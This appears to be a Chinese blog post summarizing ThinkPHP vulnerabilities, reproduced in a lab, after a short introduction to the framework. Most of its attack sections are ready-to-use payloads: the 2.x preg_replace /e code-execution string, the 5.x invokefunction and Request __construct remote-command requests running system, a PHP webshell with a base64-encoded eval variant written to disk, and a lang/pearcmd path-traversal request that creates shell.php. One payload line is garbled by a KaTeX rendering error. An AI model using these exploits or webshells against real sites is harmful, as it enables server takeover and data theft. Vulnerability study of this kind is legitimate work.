thinkphp漏洞小结

ThinkPHP

什么是thinkphp

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,由国内的技术爱好者创建,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进

thinkphp的特性

MVC支持:ThinkPHP采用了MVC设计模式,将应用程序分为模型(Model)、视图(View)和控制器(Controller)三个部分,实现了数据、界面和逻辑的分离,提高了代码的可维护性和可重用性。

路由支持:ThinkPHP内置了强大的路由功能,可以根据URL自动解析请求参数,并将请求分配到相应的控制器和方法中。

模板引擎:ThinkPHP内置了Smarty模板引擎,可以实现动态生成HTML页面,提高开发效率。

ORM支持:ThinkPHP提供了简单易用的ORM(对象关系映射)功能,可以将数据库表映射为PHP类,实现数据的增删改查操作。

缓存支持:ThinkPHP内置了多种缓存方式,包括文件缓存、内存缓存和分布式缓存等,可以有效地提高系统的性能。

安全支持:ThinkPHP提供了多种安全机制,包括表单验证、验证码、SQL注入防护等,可以保证系统的安全性。

插件支持:ThinkPHP提供了丰富的插件机制,可以轻松地扩展系统的功能。

多语言支持:ThinkPHP内置了多语言支持,可以实现国际化应用。

ThinkPHP漏洞复现

2-rce

漏洞详情:

ThinkPHP2.x版本中,使用preg_replace的/e模式匹配路由:

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。

implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面

漏洞复现

poc
?s=/index/index/name/$%7B@phpinfo()%7D

在这里插入图片描述

利用eval函数

?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}
?s=/index/index/L/${@print(eval($_POST[1]))}

在这里插入图片描述

5.0.23-rce

漏洞简介

ThinkPHP 5.x主要分为 5.0.x和5.1.x两个系列,系列不同,复现漏洞时也稍有不同。

在ThinkPHP 5.x中造成rce(远程命令执行)有两种原因

1.路由对于控制器名控制不严谨导致RCE、

2.Request类对于调用方法控制不严谨加上变量覆盖导致RCE

首先记录这两个主要POC:

控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心类Request远程代码执行漏洞

filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数,执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

漏洞复现

访问网址

在这里插入图片描述

官方poc

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

在这里插入图片描述

其他

当我们输入这个payload的时候
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

在这里插入图片描述

发现过滤了$后面的内容

加密
<?php eval($_POST["ykkx"]);?>
base64
PD9waHAgZXZhbCgkX1BPU1RbInlra3giXSk7Pz4=
payload
echo "PD9waHAgZXZhbCgkX1BPU1RbInlra3giXSk7Pz4=" | base64 -d > 2.php

5-rce

乐子

访问http://ip:8080/y.php,蚁剑连接密码为1

漏洞复现

官方exp
http://your-ip/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

in-sqlinjection

靶场出现问题,详细参考thinkphp-in-sqlinjection漏洞复现

lang

exp
http://localhost:8080/?lang=../../../../../public/index
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

posted @ 2025-05-11 09:12  ykkx  阅读(77)  评论(0)    收藏  举报